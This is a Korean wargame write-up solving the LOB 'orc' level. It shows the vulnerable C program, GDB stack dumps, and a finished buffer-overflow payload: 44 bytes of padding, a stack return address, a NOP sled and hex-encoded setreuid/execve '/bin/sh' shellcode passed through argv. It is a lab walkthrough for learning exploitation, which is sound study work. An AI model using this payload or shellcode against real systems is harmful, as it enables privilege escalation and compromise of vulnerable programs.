본문 바로가기

WarGame/LOB

[LOB] goblin :: argv를 이용한 BOF


  • User : goblin
  • 문제 : orc


orc.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
}
cs


egghunter 주석 부분을 보면 환경변수를 초기화하는 것을 확인할 수 있습니다. 실제 GDB를 이용하여 환경변수에 해당하는 메모리 영역을 확인해 보면 아래와 같이 모두 0으로 되어 있는 것을 확인할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) x/76x $esp
0xbffffab4:     0xbffffac0      0xbffffc42      0x00000015      0xbfbfbfbf
0xbffffac4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffad4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffae4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x00000000
.
.
.
(gdb)
0xbffffe44:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe54:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe64:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffe94:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffea4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffeb4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffec4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffed4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffee4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffef4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff04:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff14:     0x00000000      0x00000000      0x00000000      0x00000000
cs


그럼으로 이전 문제와 같이 환경변수를 이용하여 문제를 해결할 수 없습니다. 따라서 argv 즉, 매개변수를 이용하여 문제를 해결해야 합니다. 그리고 argv[1] 즉, 첫번째 매개변수 문자열의 48번째 위치가 0xbf가 아니면 프로그램이 종료됩니다. 따라서 Little Endian으로 RET의 마지막 값에 0xbf를 집어 넣어야 합니다.


Step 1. GDB를 이용하여 buffer의 크기를 확인해 보면 40 Byte라는 것을 확인할 수 있고 차례대로 SFP, RET가 위치해 있는 것을 확인할 수 있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) b *0x80485c2
Breakpoint 1 at 0x80485c2
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/goblin/tmp/orc `python -c 'print "\xbf"*48'`
 
Breakpoint 1, 0x80485c2 in main ()
(gdb) x/76x $esp
0xbffffab4:     0xbffffac0      0xbffffc42      0x00000015      0xbfbfbfbf
0xbffffac4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffad4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffae4:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x00000000
0xbffffaf4:     0xbffffb34      0xbffffb40      0x40013868      0x00000002
0xbffffb04:     0x08048450      0x00000000      0x08048471      0x08048500
(gdb) x/x $ebp+4
0xbffffaec:     0xbfbfbfbf
cs


Step 2. GDB를 이용하여 RET 값에 이이서 A 문자를 넣고 주소 값을 확인합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) r `python -c 'print "\xbf"*48+"A"*100'`
Starting program: /home/goblin/tmp/orc `python -c 'print "\xbf"*48+"A"*100'`
 
Breakpoint 1, 0x80485c2 in main ()
(gdb) x/76x $esp
0xbffffa54:     0xbffffa60      0xbffffbde      0x00000015      0xbfbfbfbf
0xbffffa64:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa74:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffa84:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffad4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffae4:     0x41414141      0x41414141      0x41414141      0x41414141
cs


Step 3. 위에서 확인한 주소 범위 중에 중간 정도의 값을 선택하고 해당 주소 값을 RET에 집어 넣으면 main()이 return되면서 해당 주소로 이동한 뒤, NOP을 지나 shellcode가 실행되게 만들면 문제가 해결됩니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
4
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\xb4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0
\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8
\xdc\xff\xff\xff/bin/sh"'`

cs



※ argv[1]의 값이 buffer에 복사되기 때문에 RET 뒤에 값이 실제 argv[1]의 메모리 영역이라 생각할 수 있지만, 실제 argv[1]의 메모리 영역은 buffer에서 특정 지점만큼 떨어져 있습니다. 정확한 개념은 wolfman 문제에서 다루겠습니다.